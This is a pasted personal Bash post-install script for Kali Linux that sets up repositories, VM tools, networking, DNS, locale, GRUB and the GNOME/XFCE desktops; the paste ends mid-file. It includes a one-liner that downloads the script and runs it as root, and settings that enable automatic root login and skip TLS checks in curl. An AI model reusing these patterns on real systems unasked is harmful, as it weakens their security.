Advertisement
Guest User

Untitled

a guest
Dec 11th, 2017
381
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 186.95 KB | None | 0 0
  1. #!/bin/bash
  2. #-Metadata----------------------------------------------------#
  3. #  Filename: kali-rolling.sh             (Update: 2016-09-21) #
  4. #-Info--------------------------------------------------------#
  5. #  Personal post-install script for Kali Linux Rolling        #
  6. #-Operating System--------------------------------------------#
  7. #  Designed for: Kali Linux Rolling [x64] (VM - VMware)       #
  8. #-Notes-------------------------------------------------------#
  9. #  Run as root straight after a clean install of Kali Rolling #
  10. #                             ---                             #
  11. #  You will need 25GB+ free HDD space before running.         #
  12. #                             ---                             #
  13. #  Command line arguments:                                    #
  14. #    -burp     = Automates configuring Burp Suite (Community) #
  15. #    -dns      = Use OpenDNS and locks permissions            #
  16. #    -openvas  = Installs & configures OpenVAS vuln scanner   #
  17. #    -osx      = Changes to Apple keyboard layout             #
  18. #                                                             #
  19. #    -keyboard <value> = Change the keyboard layout language  #
  20. #    -timezone <value> = Change the timezone location         #
  21. #                                                             #
  22. #  e.g. # bash kali-rolling.sh -burp -keyboard gb -openvas    #
  23. #                             ---                             #
  24. #  Will cut it up (so modular based), at a later date...      #
  25. #                             ---                             #
  26. #             ** This script is meant for _ME_. **            #
  27. #         ** EDIT this to meet _YOUR_ requirements! **        #
  28. #-------------------------------------------------------------#
  29.  
  30.  
  31. if [ 1 -eq 0 ]; then    # This is never true, thus it acts as block comments ;)
  32. ################################################################################
  33. ### One liner - Grab the latest version and execute! ###########################
  34. ################################################################################
  35. wget -qO kali-rolling.sh https://raw.github.com/g0tmi1k/os-scripts/master/kali-rolling.sh \
  36.   && bash kali-rolling.sh -burp -keyboard gb -timezone "Europe/London"
  37. ################################################################################
  38. fi
  39.  
  40.  
  41. #-Defaults-------------------------------------------------------------#
  42.  
  43.  
  44. ##### Location information
  45. keyboardApple=false         # Using a Apple/Macintosh keyboard (non VM)?                [ --osx ]
  46. keyboardLayout=""           # Set keyboard layout                                       [ --keyboard gb]
  47. timezone=""                 # Set timezone location                                     [ --timezone Europe/London ]
  48.  
  49. ##### Optional steps
  50. burpFree=false              # Disable configuring Burp Suite (for Burp Pro users...)    [ --burp ]
  51. hardenDNS=false             # Set static & lock DNS name server                         [ --dns ]
  52. openVAS=false               # Install & configure OpenVAS (not everyone wants it...)    [ --openvas ]
  53.  
  54. ##### (Optional) Enable debug mode?
  55. #set -x
  56.  
  57. ##### (Cosmetic) Colour output
  58. RED="\033[01;31m"      # Issues/Errors
  59. GREEN="\033[01;32m"    # Success
  60. YELLOW="\033[01;33m"   # Warnings/Information
  61. BLUE="\033[01;34m"     # Heading
  62. BOLD="\033[01;01m"     # Highlight
  63. RESET="\033[00m"       # Normal
  64.  
  65. STAGE=0                                                         # Where are we up to
  66. TOTAL=$( grep '(${STAGE}/${TOTAL})' $0 | wc -l );(( TOTAL-- ))  # How many things have we got todo
  67.  
  68.  
  69. #-Arguments------------------------------------------------------------#
  70.  
  71.  
  72. ##### Read command line arguments
  73. while [[ "${#}" -gt 0 && ."${1}" == .-* ]]; do
  74.   opt="${1}";
  75.   shift;
  76.   case "$(echo ${opt} | tr '[:upper:]' '[:lower:]')" in
  77.     -|-- ) break 2;;
  78.  
  79.     -osx|--osx )
  80.       keyboardApple=true;;
  81.     -apple|--apple )
  82.       keyboardApple=true;;
  83.  
  84.     -dns|--dns )
  85.       hardenDNS=true;;
  86.  
  87.     -openvas|--openvas )
  88.       openVAS=true;;
  89.  
  90.     -burp|--burp )
  91.       burpFree=true;;
  92.  
  93.     -keyboard|--keyboard )
  94.       keyboardLayout="${1}"; shift;;
  95.     -keyboard=*|--keyboard=* )
  96.       keyboardLayout="${opt#*=}";;
  97.  
  98.     -timezone|--timezone )
  99.       timezone="${1}"; shift;;
  100.     -timezone=*|--timezone=* )
  101.       timezone="${opt#*=}";;
  102.  
  103.     *) echo -e ' '${RED}'[!]'${RESET}" Unknown option: ${RED}${x}${RESET}" 1>&2 \
  104.       && exit 1;;
  105.    esac
  106. done
  107.  
  108.  
  109. ##### Check user inputs
  110. if [[ -n "${timezone}" && ! -f "/usr/share/zoneinfo/${timezone}" ]]; then
  111.   echo -e ' '${RED}'[!]'${RESET}" Looks like the ${RED}timezone '${timezone}'${RESET} is incorrect/not supported (Example: ${BOLD}Europe/London${RESET})" 1>&2
  112.   echo -e ' '${RED}'[!]'${RESET}" Quitting..." 1>&2
  113.   exit 1
  114. elif [[ -n "${keyboardLayout}" && -e /usr/share/X11/xkb/rules/xorg.lst ]]; then
  115.   if ! $(grep -q " ${keyboardLayout} " /usr/share/X11/xkb/rules/xorg.lst); then
  116.     echo -e ' '${RED}'[!]'${RESET}" Looks like the ${RED}keyboard layout '${keyboardLayout}'${RESET} is incorrect/not supported (Example: ${BOLD}gb${RESET})" 1>&2
  117.     echo -e ' '${RED}'[!]'${RESET}" Quitting..." 1>&2
  118.     exit 1
  119.   fi
  120. fi
  121.  
  122.  
  123. #-Start----------------------------------------------------------------#
  124.  
  125.  
  126. ##### Check if we are running as root - else this script will fail (hard!)
  127. if [[ "${EUID}" -ne 0 ]]; then
  128.   echo -e ' '${RED}'[!]'${RESET}" This script must be ${RED}run as root${RESET}" 1>&2
  129.   echo -e ' '${RED}'[!]'${RESET}" Quitting..." 1>&2
  130.   exit 1
  131. else
  132.   echo -e " ${BLUE}[*]${RESET} ${BOLD}Kali Linux rolling post-install script${RESET}"
  133.   sleep 3s
  134. fi
  135.  
  136. if [ "${burpFree}" != "true" ]; then
  137.   echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping Burp Suite${RESET} (missing: '$0 ${BOLD}--burp${RESET}')..." 1>&2
  138.   sleep 2s
  139. fi
  140.  
  141.  
  142. ##### Fix display output for GUI programs (when connecting via SSH)
  143. export DISPLAY=:0.0
  144. export TERM=xterm
  145.  
  146.  
  147. ##### Are we using GNOME?
  148. if [[ $(which gnome-shell) ]]; then
  149.   ##### RAM check
  150.   if [[ "$(free -m | grep -i Mem | awk '{print $2}')" < 2048 ]]; then
  151.     echo -e '\n '${RED}'[!]'${RESET}" ${RED}You have <= 2GB of RAM and using GNOME${RESET}" 1>&2
  152.     echo -e " ${YELLOW}[i]${RESET} ${YELLOW}Might want to use XFCE instead${RESET}..."
  153.     sleep 15s
  154.   fi
  155.  
  156.  
  157.   ##### Disable its auto notification package updater
  158.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Disabling GNOME's ${GREEN}notification package updater${RESET} service ~ in case it runs during this script"
  159.   export DISPLAY=:0.0
  160.   timeout 5 killall -w /usr/lib/apt/methods/http >/dev/null 2>&1
  161.  
  162.  
  163.   ##### Disable screensaver
  164.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Disabling ${GREEN}screensaver${RESET}"
  165.   xset s 0 0
  166.   xset s off
  167.   gsettings set org.gnome.desktop.session idle-delay 0
  168. else
  169.   echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping disabling package updater${RESET}..."
  170. fi
  171.  
  172.  
  173. ##### Check Internet access
  174. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Checking ${GREEN}Internet access${RESET}"
  175. #--- Can we ping google?
  176. for i in {1..10}; do ping -c 1 -W ${i} www.google.com &>/dev/null && break; done
  177. #--- Run this, if we can't
  178. if [[ "$?" -ne 0 ]]; then
  179.   echo -e ' '${RED}'[!]'${RESET}" ${RED}Possible DNS issues${RESET}(?)" 1>&2
  180.   echo -e ' '${RED}'[!]'${RESET}" Will try and use ${YELLOW}DHCP${RESET} to 'fix' the issue" 1>&2
  181.   chattr -i /etc/resolv.conf 2>/dev/null
  182.   dhclient -r
  183.   #--- Second interface causing issues?
  184.   ip addr show eth1 &>/dev/null
  185.   [[ "$?" == 0 ]] \
  186.     && route delete default gw 192.168.155.1 2>/dev/null
  187.   #--- Request a new IP
  188.   dhclient
  189.   dhclient eth0 2>/dev/null
  190.   dhclient wlan0 2>/dev/null
  191.   #--- Wait and see what happens
  192.   sleep 15s
  193.   _TMP="true"
  194.   _CMD="$(ping -c 1 8.8.8.8 &>/dev/null)"
  195.   if [[ "$?" -ne 0 && "$_TMP" == "true" ]]; then
  196.     _TMP="false"
  197.     echo -e ' '${RED}'[!]'${RESET}" ${RED}No Internet access${RESET}" 1>&2
  198.     echo -e ' '${RED}'[!]'${RESET}" You will need to manually fix the issue, before re-running this script" 1>&2
  199.   fi
  200.   _CMD="$(ping -c 1 www.google.com &>/dev/null)"
  201.   if [[ "$?" -ne 0 && "$_TMP" == "true" ]]; then
  202.     _TMP="false"
  203.     echo -e ' '${RED}'[!]'${RESET}" ${RED}Possible DNS issues${RESET}(?)" 1>&2
  204.     echo -e ' '${RED}'[!]'${RESET}" You will need to manually fix the issue, before re-running this script" 1>&2
  205.   fi
  206.   if [[ "$_TMP" == "false" ]]; then
  207.     (dmidecode | grep -iq virtual) && echo -e " ${YELLOW}[i]${RESET} VM Detected"
  208.     (dmidecode | grep -iq virtual) && echo -e " ${YELLOW}[i]${RESET} ${YELLOW}Try switching network adapter mode${RESET} (e.g. NAT/Bridged)"
  209.     echo -e ' '${RED}'[!]'${RESET}" Quitting..." 1>&2
  210.     exit 1
  211.   fi
  212. else
  213.   echo -e " ${YELLOW}[i]${RESET} ${YELLOW}Detected Internet access${RESET}" 1>&2
  214. fi
  215. #--- GitHub under DDoS?
  216. (( STAGE++ )); echo -e " ${GREEN}[i]${RESET} (${STAGE}/${TOTAL}) Checking ${GREEN}GitHub status${RESET}"
  217. timeout 300 curl --progress -k -L -f "https://status.github.com/api/status.json" | grep -q "good" \
  218.   || (echo -e ' '${RED}'[!]'${RESET}" ${RED}GitHub is currently having issues${RESET}. ${BOLD}Lots may fail${RESET}. See: https://status.github.com/" 1>&2 \
  219.     && exit 1)
  220.  
  221.  
  222. ##### Enable default network repositories ~ http://docs.kali.org/general-use/kali-linux-sources-list-repositories
  223. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Enabling default OS ${GREEN}network repositories${RESET}"
  224. #--- Add network repositories
  225. file=/etc/apt/sources.list; [ -e "${file}" ] && cp -n $file{,.bkup}
  226. ([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
  227. #--- Main
  228. grep -q '^deb .* kali-rolling' "${file}" 2>/dev/null \
  229.   || echo -e "\n\n# Kali Rolling\ndeb http://http.kali.org/kali kali-rolling main contrib non-free" >> "${file}"
  230. #--- Source
  231. grep -q '^deb-src .* kali-rolling' "${file}" 2>/dev/null \
  232.   || echo -e "deb-src http://http.kali.org/kali kali-rolling main contrib non-free" >> "${file}"
  233. #--- Disable CD repositories
  234. sed -i '/kali/ s/^\( \|\t\|\)deb cdrom/#deb cdrom/g' "${file}"
  235. #--- incase we were interrupted
  236. dpkg --configure -a
  237. #--- Update
  238. apt -qq update
  239. if [[ "$?" -ne 0 ]]; then
  240.   echo -e ' '${RED}'[!]'${RESET}" There was an ${RED}issue accessing network repositories${RESET}" 1>&2
  241.   echo -e " ${YELLOW}[i]${RESET} Are the remote network repositories ${YELLOW}currently being sync'd${RESET}?"
  242.   echo -e " ${YELLOW}[i]${RESET} Here is ${BOLD}YOUR${RESET} local network ${BOLD}repository${RESET} information (Geo-IP based):\n"
  243.   curl -sI http://http.kali.org/README
  244.   exit 1
  245. fi
  246.  
  247.  
  248. ##### Check to see if Kali is in a VM. If so, install "Virtual Machine Addons/Tools" for a "better" virtual experiment
  249. if (dmidecode | grep -iq vmware); then
  250.   ##### Install virtual machines tools ~ http://docs.kali.org/general-use/install-vmware-tools-kali-guest
  251.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}VMware's (open) virtual machine tools${RESET}"
  252.   apt -y -qq install open-vm-tools-desktop fuse \
  253.     || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  254.   apt -y -qq install make \
  255.     || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2    # There's a nags afterwards
  256.   ## Shared folders support for Open-VM-Tools (some odd bug)
  257.   file=/usr/local/sbin/mount-shared-folders; [ -e "${file}" ] && cp -n $file{,.bkup}
  258.   cat <<EOF > "${file}" \
  259.     || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  260. #!/bin/bash
  261.  
  262. vmware-hgfsclient | while read folder; do
  263.   echo "[i] Mounting \${folder}   (/mnt/hgfs/\${folder})"
  264.   mkdir -p "/mnt/hgfs/\${folder}"
  265.   umount -f "/mnt/hgfs/\${folder}" 2>/dev/null
  266.   vmhgfs-fuse -o allow_other -o auto_unmount ".host:/\${folder}" "/mnt/hgfs/\${folder}"
  267. done
  268.  
  269. sleep 2s
  270. EOF
  271.   chmod +x "${file}"
  272.   ln -sf "${file}" /root/Desktop/mount-shared-folders.sh
  273. elif (dmidecode | grep -iq virtualbox); then
  274.   ##### Installing VirtualBox Guest Additions.   Note: Need VirtualBox 4.2.xx+ for the host (http://docs.kali.org/general-use/kali-linux-virtual-box-guest)
  275.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}VirtualBox's guest additions${RESET}"
  276.   apt -y -qq install virtualbox-guest-x11 \
  277.     || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  278. fi
  279.  
  280.  
  281. ##### Check to see if there is a second Ethernet card (if so, set an static IP address)
  282. ip addr show eth1 &>/dev/null
  283. if [[ "$?" == 0 ]]; then
  284.   ##### Set a static IP address (192.168.155.175/24) on eth1
  285.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Setting a ${GREEN}static IP address${RESET} (${BOLD}192.168.155.175/24${RESET}) on ${BOLD}eth1${RESET}"
  286.   ip addr add 192.168.155.175/24 dev eth1 2>/dev/null
  287.   route delete default gw 192.168.155.1 2>/dev/null
  288.   file=/etc/network/interfaces.d/eth1.cfg; [ -e "${file}" ] && cp -n $file{,.bkup}
  289.   grep -q '^iface eth1 inet static' "${file}" 2>/dev/null \
  290.     || cat <<EOF > "${file}"
  291. auto eth1
  292. iface eth1 inet static
  293.     address 192.168.155.175
  294.     netmask 255.255.255.0
  295.     gateway 192.168.155.1
  296.     post-up route delete default gw 192.168.155.1
  297. EOF
  298. else
  299.   echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping eth1${RESET} (missing nic)..." 1>&2
  300. fi
  301.  
  302.  
  303. ##### Set static & protecting DNS name servers.   Note: May cause issues with forced values (e.g. captive portals etc)
  304. if [[ "${hardenDNS}" != "false" ]]; then
  305.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Setting static & protecting ${GREEN}DNS name servers${RESET}"
  306.   file=/etc/resolv.conf; [ -e "${file}" ] && cp -n $file{,.bkup}
  307.   chattr -i "${file}" 2>/dev/null
  308.   #--- Use OpenDNS DNS
  309.   echo -e 'nameserver 208.67.222.222\nnameserver 208.67.220.220' > "${file}"
  310.   #--- Use Google DNS
  311.   #echo -e 'nameserver 8.8.8.8\nnameserver 8.8.4.4' > "${file}"
  312.   #--- Protect it
  313.   chattr +i "${file}" 2>/dev/null
  314. else
  315.   echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping DNS${RESET} (missing: '$0 ${BOLD}--dns${RESET}')..." 1>&2
  316. fi
  317.  
  318.  
  319. ##### Update location information - set either value to "" to skip.
  320. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Updating ${GREEN}location information${RESET}"
  321. #--- Configure keyboard layout (Apple)
  322. if [ "${keyboardApple}" != "false" ]; then
  323.   ( (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Applying ${GREEN}Apple hardware${RESET} profile" )
  324.   file=/etc/default/keyboard; #[ -e "${file}" ] && cp -n $file{,.bkup}
  325.   sed -i 's/XKBVARIANT=".*"/XKBVARIANT="mac"/' "${file}"
  326. fi
  327. #--- Configure keyboard layout (location)
  328. if [[ -n "${keyboardLayout}" ]]; then
  329.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Updating ${GREEN}location information${RESET} ~ keyboard layout (${BOLD}${keyboardLayout}${RESET})"
  330.   geoip_keyboard=$(curl -s http://ifconfig.io/country_code | tr '[:upper:]' '[:lower:]')
  331.   [ "${geoip_keyboard}" != "${keyboardLayout}" ] \
  332.     && echo -e " ${YELLOW}[i]${RESET} Keyboard layout (${BOLD}${keyboardLayout}${RESET}) doesn't match what's been detected via GeoIP (${BOLD}${geoip_keyboard}${RESET})"
  333.   file=/etc/default/keyboard; #[ -e "${file}" ] && cp -n $file{,.bkup}
  334.   sed -i 's/XKBLAYOUT=".*"/XKBLAYOUT="'${keyboardLayout}'"/' "${file}"
  335. else
  336.   echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping keyboard layout${RESET} (missing: '$0 ${BOLD}--keyboard <value>${RESET}')..." 1>&2
  337. fi
  338. #--- Changing time zone
  339. if [[ -n "${timezone}" ]]; then
  340.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Updating ${GREEN}location information${RESET} ~ time zone (${BOLD}${timezone}${RESET})"
  341.   echo "${timezone}" > /etc/timezone
  342.   ln -sf "/usr/share/zoneinfo/$(cat /etc/timezone)" /etc/localtime
  343.   dpkg-reconfigure -f noninteractive tzdata
  344. else
  345.   echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping time zone${RESET} (missing: '$0 ${BOLD}--timezone <value>${RESET}')..." 1>&2
  346. fi
  347. #--- Installing ntp tools
  348. (( STAGE++ )); echo -e " ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}ntpdate${RESET} ~ keeping the time in sync"
  349. apt -y -qq install ntp ntpdate \
  350.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  351. #--- Update time
  352. ntpdate -b -s -u pool.ntp.org
  353. #--- Start service
  354. systemctl restart ntp
  355. #--- Remove from start up
  356. systemctl disable ntp 2>/dev/null
  357. #--- Only used for stats at the end
  358. start_time=$(date +%s)
  359.  
  360.  
  361. ##### Update OS from network repositories
  362. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) ${GREEN}Updating OS${RESET} from network repositories"
  363. echo -e " ${YELLOW}[i]${RESET}  ...this ${BOLD}may take a while${RESET} depending on your Internet connection & Kali version/age"
  364. for FILE in clean autoremove; do apt -y -qq "${FILE}"; done         # Clean up      clean remove autoremove autoclean
  365. export DEBIAN_FRONTEND=noninteractive
  366. apt -qq update && APT_LISTCHANGES_FRONTEND=none apt -o Dpkg::Options::="--force-confnew" -y dist-upgrade --fix-missing 2>&1 \
  367.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  368. #--- Cleaning up temp stuff
  369. for FILE in clean autoremove; do apt -y -qq "${FILE}"; done         # Clean up - clean remove autoremove autoclean
  370. #--- Check kernel stuff
  371. _TMP=$(dpkg -l | grep linux-image- | grep -vc meta)
  372. if [[ "${_TMP}" -gt 1 ]]; then
  373.   echo -e "\n ${YELLOW}[i]${RESET} Detected ${YELLOW}multiple kernels${RESET}"
  374.   TMP=$(dpkg -l | grep linux-image | grep -v meta | sort -t '.' -k 2 -g | tail -n 1 | grep "$(uname -r)")
  375.   if [[ -z "${TMP}" ]]; then
  376.     echo -e '\n '${RED}'[!]'${RESET}' You are '${RED}'not using the latest kernel'${RESET} 1>&2
  377.     echo -e " ${YELLOW}[i]${RESET} You have it ${YELLOW}downloaded${RESET} & installed, just ${YELLOW}not USING IT${RESET}"
  378.     #echo -e "\n ${YELLOW}[i]${RESET} You ${YELLOW}NEED to REBOOT${RESET}, before re-running this script"
  379.     #exit 1
  380.     sleep 30s
  381.   else
  382.     echo -e " ${YELLOW}[i]${RESET} ${YELLOW}You're using the latest kernel${RESET} (Good to continue)"
  383.   fi
  384. fi
  385.  
  386.  
  387. ##### Install kernel headers
  388. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}kernel headers${RESET}"
  389. apt -y -qq install make gcc "linux-headers-$(uname -r)" \
  390.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  391. if [[ $? -ne 0 ]]; then
  392.   echo -e ' '${RED}'[!]'${RESET}" There was an ${RED}issue installing kernel headers${RESET}" 1>&2
  393.   echo -e " ${YELLOW}[i]${RESET} Are you ${YELLOW}USING${RESET} the ${YELLOW}latest kernel${RESET}?"
  394.   echo -e " ${YELLOW}[i]${RESET} ${YELLOW}Reboot${RESET} your machine"
  395.   #exit 1
  396.   sleep 30s
  397. fi
  398.  
  399.  
  400. ##### Install "kali full" meta packages (default tool selection)
  401. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}kali-linux-full${RESET} meta-package"
  402. echo -e " ${YELLOW}[i]${RESET}  ...this ${BOLD}may take a while${RESET} depending on your Kali version (e.g. ARM, light, mini or docker...)"
  403. #--- Kali's default tools ~ https://www.kali.org/news/kali-linux-metapackages/
  404. apt -y -qq install kali-linux-full \
  405.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  406.  
  407.  
  408. ##### Set audio level
  409. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Setting ${GREEN}audio${RESET} levels"
  410. systemctl --user enable pulseaudio
  411. systemctl --user start pulseaudio
  412. pactl set-sink-mute 0 0
  413. pactl set-sink-volume 0 25%
  414.  
  415.  
  416. ##### Configure GRUB
  417. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}GRUB${RESET} ~ boot manager"
  418. grubTimeout=5
  419. (dmidecode | grep -iq virtual) && grubTimeout=1   # Much less if we are in a VM
  420. file=/etc/default/grub; [ -e "${file}" ] && cp -n $file{,.bkup}
  421. sed -i 's/^GRUB_TIMEOUT=.*/GRUB_TIMEOUT='${grubTimeout}'/' "${file}"                           # Time out (lower if in a virtual machine, else possible dual booting)
  422. sed -i 's/^GRUB_CMDLINE_LINUX_DEFAULT=.*/GRUB_CMDLINE_LINUX_DEFAULT="vga=0x0318"/' "${file}"   # TTY resolution
  423. update-grub
  424.  
  425.  
  426. if [[ $(dmidecode | grep -i virtual) ]]; then
  427.   ###### Configure login screen
  428.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}login screen${RESET}"
  429.   #--- Enable auto (gui) login
  430.   file=/etc/gdm3/daemon.conf; [ -e "${file}" ] && cp -n $file{,.bkup}
  431.   sed -i 's/^.*AutomaticLoginEnable = .*/AutomaticLoginEnable = true/' "${file}"
  432.   sed -i 's/^.*AutomaticLogin = .*/AutomaticLogin = root/' "${file}"
  433. fi
  434.  
  435.  
  436. if [[ $(which gnome-shell) ]]; then
  437.   ##### Configure GNOME 3
  438.   (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Configuring ${GREEN}GNOME 3${RESET} ~ desktop environment"
  439.   export DISPLAY=:0.0
  440.   #-- Gnome Extension - Dash Dock (the toolbar with all the icons)
  441.   gsettings set org.gnome.shell.extensions.dash-to-dock extend-height true      # Set dock to use the full height
  442.   gsettings set org.gnome.shell.extensions.dash-to-dock dock-position 'RIGHT'   # Set dock to the right
  443.   gsettings set org.gnome.shell.extensions.dash-to-dock dock-fixed true         # Set dock to be always visible
  444.   gsettings set org.gnome.shell favorite-apps \
  445.     "['gnome-terminal.desktop', 'org.gnome.Nautilus.desktop', 'kali-wireshark.desktop', 'firefox-esr.desktop', 'kali-burpsuite.desktop', 'kali-msfconsole.desktop', 'gedit.desktop']"
  446.   #-- Gnome Extension - Alternate-tab (So it doesn't group the same windows up)
  447.   GNOME_EXTENSIONS=$(gsettings get org.gnome.shell enabled-extensions | sed 's_^.\(.*\).$_\1_')
  448.   echo "${GNOME_EXTENSIONS}" | grep -q "alternate-tab@gnome-shell-extensions.gcampax.github.com" \
  449.     || gsettings set org.gnome.shell enabled-extensions "[${GNOME_EXTENSIONS}, 'alternate-tab@gnome-shell-extensions.gcampax.github.com']"
  450.   #-- Gnome Extension - Drive Menu (Show USB devices in tray)
  451.   GNOME_EXTENSIONS=$(gsettings get org.gnome.shell enabled-extensions | sed 's_^.\(.*\).$_\1_')
  452.   echo "${GNOME_EXTENSIONS}" | grep -q "drive-menu@gnome-shell-extensions.gcampax.github.com" \
  453.     || gsettings set org.gnome.shell enabled-extensions "[${GNOME_EXTENSIONS}, 'drive-menu@gnome-shell-extensions.gcampax.github.com']"
  454.   #--- Workspaces
  455.   gsettings set org.gnome.shell.overrides dynamic-workspaces false                         # Static
  456.   gsettings set org.gnome.desktop.wm.preferences num-workspaces 3                          # Increase workspaces count to 3
  457.   #--- Top bar
  458.   gsettings set org.gnome.desktop.interface clock-show-date true                           # Show date next to time in the top tool bar
  459.   #--- Keyboard short-cuts
  460.   (dmidecode | grep -iq virtual) && gsettings set org.gnome.mutter overlay-key "Super_R"   # Change 'super' key to right side (rather than left key), if in a VM
  461.   #--- Hide desktop icon
  462.   dconf write /org/gnome/nautilus/desktop/computer-icon-visible false
  463. else
  464.   echo -e "\n\n ${YELLOW}[i]${RESET} ${YELLOW}Skipping GNOME${RESET}..." 1>&2
  465. fi
  466.  
  467.  
  468. ##### Install XFCE4
  469. (( STAGE++ )); echo -e "\n\n ${GREEN}[+]${RESET} (${STAGE}/${TOTAL}) Installing ${GREEN}XFCE4${RESET}${RESET} ~ desktop environment"
  470. export DISPLAY=:0.0
  471. apt -y -qq install curl \
  472.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  473. apt -y -qq install xfce4 xfce4-mount-plugin xfce4-notifyd xfce4-places-plugin xfce4-power-manager \
  474.   || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2
  475. (dmidecode | grep -iq virtual) \
  476.   || (apt -y -qq install xfce4-battery-plugin \
  477.     || echo -e ' '${RED}'[!] Issue with apt install'${RESET} 1>&2)
  478. #--- Configuring XFCE
  479. mkdir -p ~/.config/xfce4/panel/launcher-{2,4,5,6,7,8,9}/
  480. mkdir -p ~/.config/xfce4/xfconf/xfce-perchannel-xml/
  481. #--- Configuring XFCE (Keyboard shortcuts)
  482. cat <<EOF > ~/.config/xfce4/xfconf/xfce-perchannel-xml/xfce4-keyboard-shortcuts.xml \
  483.   || echo -e ' '${RED}'[!] Issue with writing file'${RESET} 1>&2
  484. <?xml version="1.0" encoding="UTF-8"?>
  485.  
  486. <channel name="xfce4-keyboard-shortcuts" version="1.0">
  487.   <property name="commands" type="empty">
  488.     <property name="custom" type="empty">
  489.       <property name="XF86Display" type="string" value="xfce4-display-settings --minimal"/>
  490.       <property name="&lt;Alt&gt;F2" type="string" value="xfrun4"/>
  491.       <property name="&lt;Primary&gt;space" type="string" value="xfce4-appfinder"/>
  492.       <property name="&lt;Primary&gt;&lt;Alt&gt;t" type="string" value="/usr/bin/exo-open --launch TerminalEmulator"/>
  493.       <property name="&lt;Primary&gt;&lt;Alt&gt;Delete" type="string" value="xflock4"/>
  494.       <property name="&lt;Primary&gt;Escape" type="string" value="xfdesktop --menu"/>
  495.       <property name="&lt;Super&gt;p" type="string" value="xfce4-display-settings --minimal"/>
  496.       <property name="override" type="bool" value="true"/>
  497.     </property>
  498.   </property>
  499.   <property name="xfwm4" type="empty">
  500.     <property name="custom" type="empty">
  501.       <property name="&lt;Alt&gt;&lt;Control&gt;End" type="string" value="move_window_next_workspace_key"/>
  502.       <property name="&lt;Alt&gt;&lt;Control&gt;Home" type="string" value="move_window_prev_workspace_key"/>
  503.       <property name="&lt;Alt&gt;&lt;Control&gt;KP_1" type="string" value="move_window_workspace_1_key"/>
  504.       <property name="&lt;Alt&gt;&lt;Control&gt;KP_2" type="string" value="move_window_workspace_2_key"/>
  505.       <property name="&lt;Alt&gt;&lt;Control&gt;KP_3" type="string" value="move_window_workspace_3_key"/>
  506.       <property name="&lt;Alt&gt;&lt;Control&gt;KP_4" type="string" value="move_window_workspace_4_key"/>
  507.       <property name="&lt;Alt&gt;&lt;Control&gt;KP_5" type="string" value="move_window_workspace_5_key"/>
  508.       <property name="&lt;Alt&gt;&lt;Control&gt;KP_6" type="string" value="move_window_workspace_6_key"/>
  509.       <property name="&lt;Alt&gt;&lt;Control&gt;KP_7" type="string" value="move_window_workspace_7_key"/>
  510.       <property name="&lt;Alt&gt;&lt;Control&gt;KP_8" type="string" value="move_window_workspace_8_key"/>
  511.       <property name="&lt;Alt&gt;&lt;Control&gt;KP_9" type="string" value="move_window_workspace_9_key"/>
  512.       <property name="&lt;Alt&gt;&lt;Shift&gt;Tab" type="string" value="cycle_reverse_windows_key"/>
  513.       <property name="&lt;Alt&gt;Delete" type="string" value="del_workspace_key"/>
  514.       <property name="&lt;Alt&gt;F10" type="string" value="maximize_window_key"/>
  515.       <property name="&lt;Alt&gt;F11" type="string" value="fullscreen_key"/>
  516.       <property name="&lt;Alt&gt;F12" type="string" value="above_key"/>
  517.       <property name="&lt;Alt&gt;F4" type="string" value="close_window_key"/>
  518.       <property name="&lt;Alt&gt;F6" type="string" value="stick_window_key"/>
